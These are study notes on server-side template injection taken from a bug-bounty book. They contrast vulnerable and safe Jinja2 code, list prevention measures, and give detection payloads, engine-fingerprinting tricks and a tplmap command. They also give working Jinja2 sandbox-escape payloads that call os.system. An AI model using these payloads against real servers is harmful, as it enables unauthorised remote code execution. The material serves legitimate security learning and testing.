====== BBC Ch 16: Server-Side Template Injection (SSTI) ====== //Source: Bug Bounty Bootcamp by Vickie Li// Template engines (Jinja2, Twig, FreeMarker, ERB, Smarty) combine application data with templates to generate HTML pages. SSTI occurs when user input is concatenated directly into a template string rather than passed in as a safe data variable. ===== How SSTI Works ===== **Vulnerable code (Python/Jinja2):** from jinja2 import Template tmpl = Template("

Hello: " + user_input + "

") tmpl.render()
**Safe code:** tmpl = Template("

Hello: {{name}}

") tmpl.render(name=user_input)
When code is vulnerable, submitting {{1+1}} returns ''2'' in the page -- the template engine executed the expression. ===== Prevention ===== * Patch and update template engine libraries regularly * Avoid allowing user-submitted templates * Use the template engine's hardened sandbox mode for user input (not bulletproof -- sandbox escapes exist) * Implement an allowlist of allowed attributes in templates * Return generic error pages; suppress descriptive error messages * Sanitize user input before embedding in templates ===== Hunting for SSTI ===== ==== Step 1: Find User-Input Locations ==== Any field that gets displayed back to the user is a candidate: URL parameters, query strings, form fields, file uploads, HTTP headers. Look especially for endpoints that render user input in generated emails, profile pages, or name fields. ==== Step 2: Detect SSTI with Test Payloads ==== Submit this polyglot error-inducing string: {{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx] If the server returns an error or renders unexpectedly, template injection is likely. Also try these engine-specific payloads: ^ Payload ^ Works in ^ | {{7*7}} | Jinja2, Twig, Smarty (Python/PHP) | | ''${7*7}'' | FreeMarker, Thymeleaf (Java) | | ''<%= 7*7 %>'' | ERB (Ruby) | If any of these returns ''49'', SSTI is confirmed. If input is placed inside expression tags already (e.g., {{user_input}}), just submit ''7*7'' without the brackets and check if ''49'' is returned. ==== Step 3: Identify the Template Engine ==== * Error message may name the engine (e.g., ''jinja2.exceptions.UndefinedError'') * {{7*'7'}} returns ''7777777'' in Jinja2, ''49'' in Twig * ''<%= 7*7 %>'' returning ''49'' -- ERB * ''${7*7}'' returning ''49'' -- FreeMarker or Thymeleaf ===== Escalating SSTI to RCE (Jinja2) ===== Jinja2 blocks direct import and ''os'', but Python's built-in class hierarchy is accessible. Use subclass traversal to reach the ''catch_warnings'' class, which has access to builtins. List all subclasses of object: {{[].__class__.__bases__[0].__subclasses__()}} Find ''catch_warnings'' and access builtins: {% for x in [].__class__.__bases__[0].__subclasses__() %} {% if 'catch_warnings' in x.__name__ %} {{ x()._module.__builtins__ }} {% endif %} {% endfor %} Execute a system command (e.g., ''ls''): {% for x in [].__class__.__bases__[0].__subclasses__() %} {% if 'catch_warnings' in x.__name__ %} {{ x()._module.__builtins__['__import__']('os').system('ls') }} {% endif %} {% endfor %} Safe PoC -- create a file with a distinct name: {% for x in [].__class__.__bases__[0].__subclasses__() %} {% if 'warning' in x.__name__ %} {{ x()._module.__builtins__['__import__']('os').system('touch ssti_poc_by_your_name.txt') }} {% endif %} {% endfor %} Other template engines require different syntax and sandbox-escape methods -- consult engine-specific documentation and PortSwigger's SSTI research. ===== Automation ===== tplmap (https://github.com/epinna/tplmap/) scans for SSTI, identifies the engine, and constructs exploits automatically for popular engines: python3 tplmap.py -u "http://example.com/page?name=INJECT_HERE" ===== 7-Step Checklist ===== - Find user-input locations that are displayed back to the user. - Submit {{7*7}}, ''${7*7}'', ''<%= 7*7 %>'' to detect SSTI. - If blocked or no output: try the polyglot error payload {{1+abcxx}}''${1+abcxx}<%1+abcxx%>[abcxx]''. - Identify the template engine from error messages or differential payloads. - Research sandbox-escape techniques for the identified engine. - Escalate to RCE; create a safe PoC file rather than executing destructive commands. - Draft report with the working payload and the engine name.